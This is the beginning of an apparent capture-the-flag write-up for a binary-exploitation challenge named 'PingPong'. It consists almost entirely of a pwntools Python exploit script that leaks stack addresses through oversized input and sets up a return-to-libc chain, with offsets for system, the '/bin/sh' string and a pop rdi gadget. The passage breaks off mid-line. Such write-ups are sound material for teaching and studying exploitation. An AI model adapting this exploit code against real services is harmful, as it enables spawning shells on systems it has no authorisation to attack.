Rating: 1.0
# PingPong - pwn
> To start out nice and easy, how about a game of ping pong?
```Python
#!/usr/bin/python
import pwn
import struct
import array
import os
LIBC_SYSTEM_OFFSET = -0x398E60
LIBC_BIN_SH_OFFSET = -0x234406
POP_RDI_OFFSET = 0x493
RET_ADDRESS_OFFSET = -0x1F0
def fix_case(crap):
ret = ""
for i in range(0, len(crap)):
if i & 0x1 == 0x0:
ret += crap[i]
else:
ret += chr(ord(crap[i]) ^ 0x20)
return ret
def leak(stackRel):
p.recvuntil('ping: ')
p.sendline('A' * (stackRel * 8))
p.recvuntil('pong: ')
leaked = p.recvline()[stackRel * 8:]
return struct.unpack('
